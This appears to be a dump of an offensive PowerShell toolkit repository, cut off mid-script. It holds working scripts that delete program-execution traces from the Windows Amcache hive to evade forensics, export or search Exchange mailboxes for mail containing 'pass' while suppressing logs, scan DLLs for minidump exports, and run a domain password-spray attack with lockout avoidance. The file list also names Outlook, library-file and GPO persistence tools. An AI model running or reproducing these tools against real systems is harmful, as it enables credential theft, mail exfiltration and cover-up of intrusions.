├── Delete-Amcache.ps1 ├── DirectExportMailfromExchange.ps1 ├── DirectSearchMailfromExchange.ps1 ├── Get-AllExports.ps1 ├── Invoke-DomainPasswordSprayOutsideTheDomain.ps1 ├── Invoke-Enumeratefile.ps1 ├── Invoke-LibraryFilesPersistence.ps1 ├── Invoke-OutlookPersistence.ps1 ├── New-GPOImmediateTask.ps1 ├── README.md ├── UsePSSessionToExportMailfromExchange.ps1 ├── UsePSSessionToSearchMailfromExchange.ps1 └── dns-dump.ps1 /Delete-Amcache.ps1: -------------------------------------------------------------------------------- 1 | function Delete-Amcache 2 | { 3 | #Requires -Version 3.0 4 | <# 5 | .SYNOPSIS 6 | This script loads the AMCache hive from the default Windows location and delete the seleted data. 7 | You can use Get-Amcache.ps1 to list the data of AMCache hive,then use this to delete the seleted data. 8 | The new AMCache hive will be saved as new.hve 9 | .Reference 10 | https://github.com/yoda66/GetAmCache/blob/master/Get-Amcache.ps1 11 | Author: 3gstudent 12 | .PARAMETER RegHive 13 | The Amcache registry hive file to load. Defaults to \Windows\AppCompat\Programs\Amcache.hve 14 | .PARAMETER DestRegKey 15 | The destination registry key to load the registry hive to. Defaults to HKLM:\amcache 16 | .PARAMETER Filename 17 | The filename to be deleted. 18 | .EXAMPLE 19 | PS C:\> Delete-Amcache -Filename putty.exe 20 | #> 21 | 22 | [CmdletBinding()] 23 | Param ( 24 | [Parameter(HelpMessage="Location of Amcache.hve file")] 25 | [String]$RegHive = $env:SYSTEMROOT + "\AppCompat\Programs\Amcache.hve", 26 | 27 | [Parameter(HelpMessage="Destination registry key to load amcache hive to")] 28 | [String]$DestRegKey = "HKLM\amcache", 29 | 30 | [Parameter(HelpMessage="Specify a filename to match,then remove the registry.")] 31 | [String]$Filename="" 32 | ) 33 | $output = &"whoami" 34 | if($output -notmatch "nt authority\\system") 35 | { 36 | Write-Error "Script must be run as nt authority\system" -ErrorAction Stop 37 | } 38 | try { 39 | #Load AMCache hive 40 | reg.exe load $DestRegKey $RegHive | Out-Null 41 | #Backup the AMCache hive 42 | Write-Host "[+]The AMCache hive will be backuped as backup.hve" 43 | reg.exe save $DestRegKey "backup.hve" /y| Out-Null 44 | 45 | $rootfile = $DestRegKey.replace("\", ":") + "\Root\File" 46 | 47 | Get-ChildItem -Recurse -Path $rootfile | Get-ItemProperty | ` 48 | foreach { 49 | $RegPath = $_.PSPath.Substring( $_.PSPath.LastIndexOf(":")+1 ) 50 | $RegPath = "HKLM:" + $RegPath.Substring($RegPath.IndexOf("\") ) 51 | 52 | $FilePath = $_.15 53 | if($FilePath -match $Filename) 54 | { 55 | Write-Host "[+]Data to be removed:" 56 | Write-Host $FilePath 57 | Write-Host $RegPath 58 | Remove-Item $RegPath -Recurse -Force 59 | } 60 | } 61 | } 62 | catch { 63 | $ErrorMessage = $_.Exception.Message 64 | Write-Output $ErrorMessage 65 | break 66 | } 67 | finally { 68 | [gc]::collect() 69 | [gc]::WaitForPendingFinalizers() 70 | #Generate the new AMCache hive 71 | Write-Host "[+]The new AMCache hive will be saved as new.hve" 72 | reg.exe save $DestRegKey "new.hve" /y| Out-Null 73 | #Unload it 74 | reg.exe unload $DestRegKey | Out-Null 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /DirectExportMailfromExchange.ps1: -------------------------------------------------------------------------------- 1 | function DirectExportMailfromExchange 2 | { 3 | #Requires -Version 2.0 4 | <# 5 | .SYNOPSIS 6 | This script will export the mail(.pst) from the Exchange server. 7 | The script needs to be executed on the Exchange server. 8 | 9 | Author: 3gstudent 10 | 11 | .PARAMETER MailBox 12 | The mail you want to export. 13 | 14 | .PARAMETER ExportPath 15 | The export path of the mail. 16 | 17 | .PARAMETER $Filter 18 | The search filter of the mail. 19 | 20 | .PARAMETER $Version 21 | The version of the Exhange. 22 | It can be 2007,2010,2013 and 2016. 23 | 24 | .EXAMPLE 25 | PS C:\> DirectExportMailfromExchange -MailBox "test1" -ExportPath "\\localhost\c$\test\" -Filter "{`"(body -like `"*pass*`")`"}" -Version 2013 26 | #> 27 | param ( 28 | [Parameter(Mandatory = $True)] 29 | [string]$MailBox, 30 | [Parameter(Mandatory = $True)] 31 | [string]$ExportPath, 32 | [Parameter(Mandatory = $True)] 33 | [string]$Filter, 34 | [Parameter(Mandatory = $True)] 35 | [string]$Version 36 | ) 37 | 38 | Write-Host "[>] Start to add PSSnapin" 39 | if ($Version -eq 2007) 40 | { 41 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin; 42 | } 43 | 44 | elseif ($Version -eq 2010) 45 | { 46 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010; 47 | } 48 | 49 | else 50 | { 51 | 52 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; 53 | } 54 | 55 | Write-Host "[+] Start to export mail" 56 | #Export mail and do not save the export request 57 | New-MailboxexportRequest -mailbox $MailBox -ContentFilter {(body -like "*pass*")} -FilePath ($ExportPath+$MailBox+".pst") -CompletedRequestAgeLimit 0 58 | Write-Host "[+] All done." 59 | } 60 | -------------------------------------------------------------------------------- /DirectSearchMailfromExchange.ps1: -------------------------------------------------------------------------------- 1 | function DirectSearchMailfromExchange 2 | { 3 | #Requires -Version 2.0 4 | <# 5 | .SYNOPSIS 6 | This script will search the mail from the Exchange server and export the results to the selected mailbox. 7 | The script needs to be executed on the Exchange server. 8 | 9 | Author: 3gstudent 10 | 11 | .PARAMETER MailBox 12 | The mail you want to search. 13 | If you set it as 'All',it will search all the mailbox. 14 | 15 | .PARAMETER Filter 16 | The search filter of the mail. 17 | 18 | .PARAMETER TargetMailbox 19 | The mailbox of the results will be export. 20 | 21 | .PARAMETER TargetFolder 22 | The folder of the targetmailbox. 23 | 24 | .PARAMETER $Version 25 | The version of the Exhange. 26 | It can be 2007,2010,2013 and 2016. 27 | 28 | .EXAMPLE 29 | PS C:\> DirectSearchMailfromExchange -MailBox "test1" -Filter "*pass*" -TargetMailbox "test2" -TargetFolder "out2" -Version 2013 30 | or 31 | PS C:\> DirectSearchMailfromExchange -MailBox "All" -Filter "*pass*" -TargetMailbox "test2" -TargetFolder "outAll" -Version 2013 32 | 33 | #> 34 | param ( 35 | [Parameter(Mandatory = $True)] 36 | [string]$MailBox, 37 | [Parameter(Mandatory = $True)] 38 | [string]$Filter, 39 | [Parameter(Mandatory = $True)] 40 | [string]$TargetMailbox, 41 | [Parameter(Mandatory = $True)] 42 | [string]$TargetFolder, 43 | [Parameter(Mandatory = $True)] 44 | [string]$Version 45 | ) 46 | 47 | Write-Host "[>] Start to add PSSnapin" 48 | if ($Version -eq 2007) 49 | { 50 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.Admin; 51 | } 52 | 53 | elseif ($Version -eq 2010) 54 | { 55 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.E2010; 56 | } 57 | 58 | else 59 | { 60 | 61 | Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; 62 | } 63 | 64 | Write-Host "[+] Start to search mail and export the results to the selectd mailbox" 65 | #Searche mail and export the results to the selectd mailbox 66 | if($MailBox -eq "all") 67 | { 68 | Write-Host "[!] It will search from all the mailbox,it may be a long time." 69 | Get-Mailbox|Search-Mailbox -SearchQuery $Filter -TargetMailbox $TargetMailbox -TargetFolder $TargetFolder -LogLevel Suppress| Out-Null 70 | } 71 | else 72 | { 73 | Search-Mailbox -Identity $MailBox -SearchQuery $Filter -TargetMailbox $TargetMailbox -TargetFolder $TargetFolder -LogLevel Suppress| Out-Null 74 | } 75 | Write-Host "[+] All done." 76 | } 77 | -------------------------------------------------------------------------------- /Get-AllExports.ps1: -------------------------------------------------------------------------------- 1 | function Get-Exports { 2 | <# 3 | .SYNOPSIS 4 | 5 | Reference: 6 | 7 | https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1 8 | 9 | This script is mainly used to automatically scan whether the export function of DLL in the specified directory contains "minidump" or not. 10 | 11 | Modified by 3gstudent 12 | 13 | ------- 14 | Get-Exports, fetches DLL exports and optionally provides 15 | C++ wrapper output (idential to ExportsToC++ but without 16 | needing VS and a compiled binary). To do this it reads DLL 17 | bytes into memory and then parses them (no LoadLibraryEx). 18 | Because of this you can parse x32/x64 DLL's regardless of 19 | the bitness of PowerShell. 20 | 21 | .DESCRIPTION 22 | Author: Ruben Boonen (@FuzzySec) 23 | License: BSD 3-Clause 24 | Required Dependencies: None 25 | Optional Dependencies: None 26 | 27 | .PARAMETER DllPath 28 | 29 | Absolute path to DLL. 30 | 31 | 32 | .EXAMPLE 33 | C:\PS> Get-Exports -DllPath C:\Some\Path\here.dll 34 | 35 | .EXAMPLE 36 | C:\PS> $Path = "C:\Windows" 37 | C:\PS> ForEach($file in (Get-ChildItem -recurse -Filter "*.dll" -Path $Path -ErrorAction SilentlyContinue )) 38 | C:\PS> { 39 | C:\PS> Get-Exports -DllPath $file.PSPath.Substring($file.PSPath.IndexOf(":")+2) 40 | C:\PS> } 41 | 42 | #> 43 | param ( 44 | [Parameter(Mandatory = $True)] 45 | [string]$DllPath 46 | # [Parameter(Mandatory = $False)] 47 | # [string]$ExportsToCpp 48 | ) 49 | 50 | 51 | 52 | Add-Type -TypeDefinition @" 53 | using System; 54 | using System.Diagnostics; 55 | using System.Runtime.InteropServices; 56 | using System.Security.Principal; 57 | 58 | [StructLayout(LayoutKind.Sequential)] 59 | public struct IMAGE_EXPORT_DIRECTORY 60 | { 61 | public UInt32 Characteristics; 62 | public UInt32 TimeDateStamp; 63 | public UInt16 MajorVersion; 64 | public UInt16 MinorVersion; 65 | public UInt32 Name; 66 | public UInt32 Base; 67 | public UInt32 NumberOfFunctions; 68 | public UInt32 NumberOfNames; 69 | public UInt32 AddressOfFunctions; 70 | public UInt32 AddressOfNames; 71 | public UInt32 AddressOfNameOrdinals; 72 | } 73 | 74 | [StructLayout(LayoutKind.Sequential)] 75 | public struct IMAGE_SECTION_HEADER 76 | { 77 | public String Name; 78 | public UInt32 VirtualSize; 79 | public UInt32 VirtualAddress; 80 | public UInt32 SizeOfRawData; 81 | public UInt32 PtrToRawData; 82 | public UInt32 PtrToRelocations; 83 | public UInt32 PtrToLineNumbers; 84 | public UInt16 NumOfRelocations; 85 | public UInt16 NumOfLines; 86 | public UInt32 Characteristics; 87 | } 88 | 89 | public static class Kernel32 90 | { 91 | [DllImport("kernel32.dll")] 92 | public static extern IntPtr LoadLibraryEx( 93 | String lpFileName, 94 | IntPtr hReservedNull, 95 | UInt32 dwFlags); 96 | } 97 | "@ 98 | 99 | # Load the DLL into memory so we can refference it like LoadLibrary 100 | $FileBytes = [System.IO.File]::ReadAllBytes($DllPath) 101 | [IntPtr]$HModule = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($FileBytes.Length) 102 | [System.Runtime.InteropServices.Marshal]::Copy($FileBytes, 0, $HModule, $FileBytes.Length) 103 | 104 | # Some Offsets.. 105 | $PE_Header = [Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + 0x3C) 106 | $Section_Count = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $PE_Header + 0x6) 107 | $Optional_Header_Size = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $PE_Header + 0x14) 108 | $Optional_Header = $HModule.ToInt64() + $PE_Header + 0x18 109 | 110 | # We need some values from the Section table to calculate RVA's 111 | $Section_Table = $Optional_Header + $Optional_Header_Size 112 | $SectionArray = @() 113 | for ($i; $i -lt $Section_Count; $i++) { 114 | $HashTable = @{ 115 | VirtualSize = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0x8) 116 | VirtualAddress = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0xC) 117 | PtrToRawData = [Runtime.InteropServices.Marshal]::ReadInt32($Section_Table + 0x14) 118 | } 119 | $Object = New-Object PSObject -Property $HashTable 120 | $SectionArray += $Object 121 | 122 | # Increment $Section_Table offset by Section size 123 | $Section_Table = $Section_Table + 0x28 124 | } 125 | 126 | # Helper function for dealing with on-disk PE offsets. 127 | # Adapted from @mattifestation: 128 | # https://github.com/mattifestation/PowerShellArsenal/blob/master/Parsers/Get-PE.ps1#L218 129 | function Convert-RVAToFileOffset($Rva, $SectionHeaders) { 130 | foreach ($Section in $SectionHeaders) { 131 | if (($Rva -ge $Section.VirtualAddress) -and 132 | ($Rva-lt ($Section.VirtualAddress + $Section.VirtualSize))) { 133 | return [IntPtr] ($Rva - ($Section.VirtualAddress - $Section.PtrToRawData)) 134 | } 135 | } 136 | # Pointer did not fall in the address ranges of the section headers 137 | # echo "Mmm, pointer did not fall in the PE range.." 138 | } 139 | 140 | # Read Magic UShort to determin x32/x64 141 | if ([Runtime.InteropServices.Marshal]::ReadInt16($Optional_Header) -eq 0x010B) { 142 | # echo "`n[?] 32-bit Image!" 143 | # IMAGE_DATA_DIRECTORY[0] -> Export 144 | $Export = $Optional_Header + 0x60 145 | } else { 146 | # echo "`n[?] 64-bit Image!" 147 | # IMAGE_DATA_DIRECTORY[0] -> Export 148 | $Export = $Optional_Header + 0x70 149 | } 150 | 151 | # Convert IMAGE_EXPORT_DIRECTORY[0].VirtualAddress to file offset! 152 | $ExportRVA = Convert-RVAToFileOffset $([Runtime.InteropServices.Marshal]::ReadInt32($Export)) $SectionArray 153 | 154 | # Cast offset as IMAGE_EXPORT_DIRECTORY 155 | $OffsetPtr = New-Object System.Intptr -ArgumentList $($HModule.ToInt64() + $ExportRVA) 156 | $IMAGE_EXPORT_DIRECTORY = New-Object IMAGE_EXPORT_DIRECTORY 157 | $IMAGE_EXPORT_DIRECTORY = $IMAGE_EXPORT_DIRECTORY.GetType() 158 | $EXPORT_DIRECTORY_FLAGS = [system.runtime.interopservices.marshal]::PtrToStructure($OffsetPtr, [type]$IMAGE_EXPORT_DIRECTORY) 159 | 160 | # Print the in-memory offsets! 161 | # echo "`n[>] Time Stamp: $([timezone]::CurrentTimeZone.ToLocalTime(([datetime]'1/1/1970').AddSeconds($EXPORT_DIRECTORY_FLAGS.TimeDateStamp)))" 162 | # echo "[>] Function Count: $($EXPORT_DIRECTORY_FLAGS.NumberOfFunctions)" 163 | # echo "[>] Named Functions: $($EXPORT_DIRECTORY_FLAGS.NumberOfNames)" 164 | # echo "[>] Ordinal Base: $($EXPORT_DIRECTORY_FLAGS.Base)" 165 | # echo "[>] Function Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfFunctions)" 166 | # echo "[>] Name Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfNames)" 167 | # echo "[>] Ordinal Array RVA: 0x$('{0:X}' -f $EXPORT_DIRECTORY_FLAGS.AddressOfNameOrdinals)" 168 | 169 | # Get equivalent file offsets! 170 | $ExportFunctionsRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfFunctions $SectionArray 171 | $ExportNamesRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfNames $SectionArray 172 | $ExportOrdinalsRVA = Convert-RVAToFileOffset $EXPORT_DIRECTORY_FLAGS.AddressOfNameOrdinals $SectionArray 173 | 174 | # Loop exports 175 | $ExportArray = @() 176 | for ($i=0; $i -lt $EXPORT_DIRECTORY_FLAGS.NumberOfNames; $i++){ 177 | # Calculate function name RVA 178 | $FunctionNameRVA = Convert-RVAToFileOffset $([Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + $ExportNamesRVA + ($i*4))) $SectionArray 179 | # $HashTable = @{ 180 | # FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($HModule.ToInt64() + $FunctionNameRVA) 181 | # ImageRVA = echo "0x$("{0:X8}" -f $([Runtime.InteropServices.Marshal]::ReadInt32($HModule.ToInt64() + $ExportFunctionsRVA + ($i*4))))" 182 | # Ordinal = [Runtime.InteropServices.Marshal]::ReadInt16($HModule.ToInt64() + $ExportOrdinalsRVA + ($i*2)) + $EXPORT_DIRECTORY_FLAGS.Base 183 | # } 184 | # $Object = New-Object PSObject -Property $HashTable 185 | # $ExportArray += $Object 186 | $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($HModule.ToInt64() + $FunctionNameRVA) 187 | 188 | if ($FunctionName -match "minidump") 189 | { 190 | echo "[+] $($DllPath)-->$($FunctionName)" 191 | } 192 | } 193 | 194 | # Print export object 195 | # $ExportArray |Sort-Object Ordinal 196 | # Optionally write ExportToC++ wrapper output 197 | # if ($ExportsToCpp) { 198 | # foreach ($Entry in $ExportArray) { 199 | # Add-Content $ExportsToCpp "#pragma comment (linker, '/export:$($Entry.FunctionName)=[FORWARD_DLL_HERE].$($Entry.FunctionName),@$($Entry.Ordinal)')" 200 | # } 201 | # } 202 | 203 | # Free buffer 204 | [Runtime.InteropServices.Marshal]::FreeHGlobal($HModule) 205 | } 206 | -------------------------------------------------------------------------------- /Invoke-DomainPasswordSprayOutsideTheDomain.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-DomainPasswordSprayOutsideTheDomain{ 2 | <# 3 | .SYNOPSIS 4 | 5 | This module performs a password spray attack against users of a domain. 6 | 7 | Note: 8 | It only works outside the domain environment. 9 | 10 | When you are in the domain environment,you can use the original file(Invoke-DomainPasswordSpray). 11 | 12 | Source:https://github.com/dafthack/DomainPasswordSpray 13 | 14 | Modified by 3gstudent 15 | 16 | .DESCRIPTION 17 | 18 | This module performs a password spray attack against users of a domain. 19 | 20 | .PARAMETER UserList 21 | 22 | Optional UserList parameter. This will be generated automatically if not specified. 23 | 24 | .PARAMETER Password 25 | 26 | A single password that will be used to perform the password spray. 27 | 28 | .PARAMETER PasswordList 29 | 30 | A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts). 31 | 32 | .PARAMETER OutFile 33 | 34 | A file to output the results to. 35 | 36 | .PARAMETER Domain 37 | 38 | The domain to spray against. 39 | 40 | .PARAMETER Filter 41 | 42 | Custom LDAP filter for users, e.g. "(description=*admin*)" 43 | 44 | .PARAMETER Force 45 | 46 | Forces the spray to continue and doesn't prompt for confirmation. 47 | 48 | .PARAMETER UsernameAsPassword 49 | 50 | For each user, will try that user's name as their password 51 | 52 | .EXAMPLE 53 | 54 | C:\PS> Invoke-DomainPasswordSprayOutsideTheDomain -UserList users.txt -Domain "192.168.1.1/DC=test,DC=com" -PasswordList passlist.txt -OutFile sprayed-creds.txt 55 | 56 | Description 57 | ----------- 58 | This command will use the userlist at users.txt and try to authenticate to the domain "192.168.1.1/DC=test,DC=com" using each password in the passlist.txt file one at a time. 59 | 60 | 61 | .EXAMPLE 62 | 63 | C:\PS> Invoke-DomainPasswordSprayOutsideTheDomain -Domain "192.168.1.1/DC=test,DC=com" -UserList .\user.txt -Password DomainUser123! -Verbose 64 | 65 | #> 66 | param( 67 | [Parameter(Position = 0, Mandatory = $false)] 68 | [string] 69 | $UserList = "", 70 | 71 | [Parameter(Position = 1, Mandatory = $false)] 72 | [string] 73 | $Password, 74 | 75 | [Parameter(Position = 2, Mandatory = $false)] 76 | [string] 77 | $PasswordList, 78 | 79 | [Parameter(Position = 3, Mandatory = $false)] 80 | [string] 81 | $OutFile, 82 | 83 | [Parameter(Position = 4, Mandatory = $false)] 84 | [string] 85 | $Filter = "", 86 | 87 | [Parameter(Position = 5, Mandatory = $false)] 88 | [string] 89 | $Domain = "", 90 | 91 | [Parameter(Position = 6, Mandatory = $false)] 92 | [switch] 93 | $Force, 94 | 95 | [Parameter(Position = 7, Mandatory = $false)] 96 | [switch] 97 | $UsernameAsPassword, 98 | 99 | [Parameter(Position = 8, Mandatory = $false)] 100 | [int] 101 | $Delay=0, 102 | 103 | [Parameter(Position = 9, Mandatory = $false)] 104 | $Jitter=0 105 | 106 | ) 107 | 108 | if ($Password) 109 | { 110 | $Passwords = @($Password) 111 | } 112 | elseif($UsernameAsPassword) 113 | { 114 | $Passwords = "" 115 | } 116 | elseif($PasswordList) 117 | { 118 | $Passwords = Get-Content $PasswordList 119 | } 120 | else 121 | { 122 | Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified" 123 | break 124 | } 125 | 126 | try 127 | { 128 | if ($Domain -ne "") 129 | { 130 | # Using domain specified with -Domain option 131 | # $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 132 | # $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 133 | # $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 134 | $CurrentDomain = "LDAP://" + $Domain 135 | $CurrentDomain 136 | } 137 | else 138 | { 139 | # Trying to use the current user's domain 140 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 141 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 142 | } 143 | } 144 | catch 145 | { 146 | Write-Host -ForegroundColor "red" "[*] Could not connect to the domain. Try specifying the domain name with the -Domain option." 147 | break 148 | } 149 | 150 | if ($UserList -eq "") 151 | { 152 | $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter 153 | } 154 | else 155 | { 156 | # if a Userlist is specified use it and do not check for lockout thresholds 157 | Write-Host "[*] Using $UserList as userlist to spray with" 158 | Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold." 159 | $UserListArray = @() 160 | try 161 | { 162 | $UserListArray = Get-Content $UserList -ErrorAction stop 163 | } 164 | catch [Exception] 165 | { 166 | Write-Host -ForegroundColor "red" "$_.Exception" 167 | break 168 | } 169 | 170 | } 171 | 172 | 173 | if ($Passwords.count > 1) 174 | { 175 | Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!" 176 | } 177 | 178 | # $observation_window = Get-ObservationWindow 179 | 180 | # Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes." 181 | # Write-Host "[*] Setting a $observation_window minute wait in between sprays." 182 | 183 | # if no force flag is set we will ask if the user is sure they want to spray 184 | if (!$Force) 185 | { 186 | $title = "Confirm Password Spray" 187 | $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?" 188 | 189 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` 190 | "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file." 191 | 192 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` 193 | "Cancels the password spray." 194 | 195 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) 196 | 197 | $result = $host.ui.PromptForChoice($title, $message, $options, 0) 198 | 199 | if ($result -ne 0) 200 | { 201 | Write-Host "Cancelling the password spray." 202 | break 203 | } 204 | } 205 | Write-Host -ForegroundColor Yellow "[*] Password spraying has begun with " $Passwords.count " passwords" 206 | Write-Host "[*] This might take a while depending on the total number of users" 207 | 208 | if($UsernameAsPassword) 209 | { 210 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword 211 | } 212 | else 213 | { 214 | for($i = 0; $i -lt $Passwords.count; $i++) 215 | { 216 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter 217 | if (($i+1) -lt $Passwords.count) 218 | { 219 | Countdown-Timer -Seconds (60*$observation_window) 220 | } 221 | } 222 | } 223 | 224 | Write-Host -ForegroundColor Yellow "[*] Password spraying is complete" 225 | if ($OutFile -ne "") 226 | { 227 | Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile" 228 | } 229 | } 230 | 231 | function Countdown-Timer 232 | { 233 | param( 234 | $Seconds = 1800, 235 | $Message = "[*] Pausing to avoid account lockout." 236 | ) 237 | foreach ($Count in (1..$Seconds)) 238 | { 239 | Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100) 240 | Start-Sleep -Seconds 1 241 | } 242 | Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed 243 | } 244 | 245 | function Get-DomainUserList 246 | { 247 | <# 248 | .SYNOPSIS 249 | 250 | This module gathers a userlist from the domain. 251 | 252 | DomainPasswordSpray Function: Get-DomainUserList 253 | Author: Beau Bullock (@dafthack) 254 | License: BSD 3-Clause 255 | Required Dependencies: None 256 | Optional Dependencies: None 257 | 258 | .DESCRIPTION 259 | 260 | This module gathers a userlist from the domain. 261 | 262 | .PARAMETER Domain 263 | 264 | The domain to spray against. 265 | 266 | .PARAMETER RemoveDisabled 267 | 268 | Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv)) 269 | 270 | .PARAMETER RemovePotentialLockouts 271 | 272 | Removes accounts within 1 attempt of locking out. 273 | 274 | .PARAMETER Filter 275 | 276 | Custom LDAP filter for users, e.g. "(description=*admin*)" 277 | 278 | .EXAMPLE 279 | 280 | PS C:\> Get-DomainUserList 281 | 282 | Description 283 | ----------- 284 | This command will gather a userlist from the domain including all samAccountType "805306368". 285 | 286 | .EXAMPLE 287 | 288 | C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt 289 | 290 | Description 291 | ----------- 292 | This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt" 293 | 294 | #> 295 | param( 296 | [Parameter(Position = 0, Mandatory = $false)] 297 | [string] 298 | $Domain = "", 299 | 300 | [Parameter(Position = 1, Mandatory = $false)] 301 | [switch] 302 | $RemoveDisabled, 303 | 304 | [Parameter(Position = 2, Mandatory = $false)] 305 | [switch] 306 | $RemovePotentialLockouts, 307 | 308 | [Parameter(Position = 3, Mandatory = $false)] 309 | [string] 310 | $Filter 311 | ) 312 | 313 | try 314 | { 315 | if ($Domain -ne "") 316 | { 317 | # Using domain specified with -Domain option 318 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 319 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 320 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 321 | } 322 | else 323 | { 324 | # Trying to use the current user's domain 325 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 326 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 327 | } 328 | } 329 | catch 330 | { 331 | Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option." 332 | break 333 | } 334 | 335 | # Setting the current domain's account lockout threshold 336 | $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)" 337 | $AccountLockoutThresholds = @() 338 | $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold 339 | 340 | # Getting the AD behavior version to determine if fine-grained password policies are possible 341 | $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0) 342 | if ($behaviorversion -ge 3) 343 | { 344 | # Determine if there are any fine-grained password policies 345 | Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy." 346 | $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher 347 | $ADSearcher.SearchRoot = $objDeDomain 348 | $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)" 349 | $PSOs = $ADSearcher.FindAll() 350 | 351 | if ( $PSOs.count -gt 0) 352 | { 353 | Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n") 354 | foreach($entry in $PSOs) 355 | { 356 | # Selecting the lockout threshold, min pwd length, and which 357 | # groups the fine-grained password policy applies to 358 | $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties 359 | $PSOPolicyName = $PSOFineGrainedPolicy.name 360 | $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold' 361 | $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto' 362 | $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength' 363 | # adding lockout threshold to array for use later to determine which is the lowest. 364 | $AccountLockoutThresholds += $PSOLockoutThreshold 365 | 366 | Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n" 367 | } 368 | } 369 | } 370 | 371 | $observation_window = Get-ObservationWindow 372 | 373 | # Generate a userlist from the domain 374 | # Selecting the lowest account lockout threshold in the domain to avoid 375 | # locking out any accounts. 376 | [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1 377 | Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..." 378 | 379 | if ($SmallestLockoutThreshold -eq "0") 380 | { 381 | Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy." 382 | } 383 | else 384 | { 385 | Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts." 386 | } 387 | 388 | $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain) 389 | $DirEntry = New-Object System.DirectoryServices.DirectoryEntry 390 | $UserSearcher.SearchRoot = $DirEntry 391 | 392 | $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null 393 | $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null 394 | $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null 395 | 396 | if ($RemoveDisabled) 397 | { 398 | Write-Host -ForegroundColor 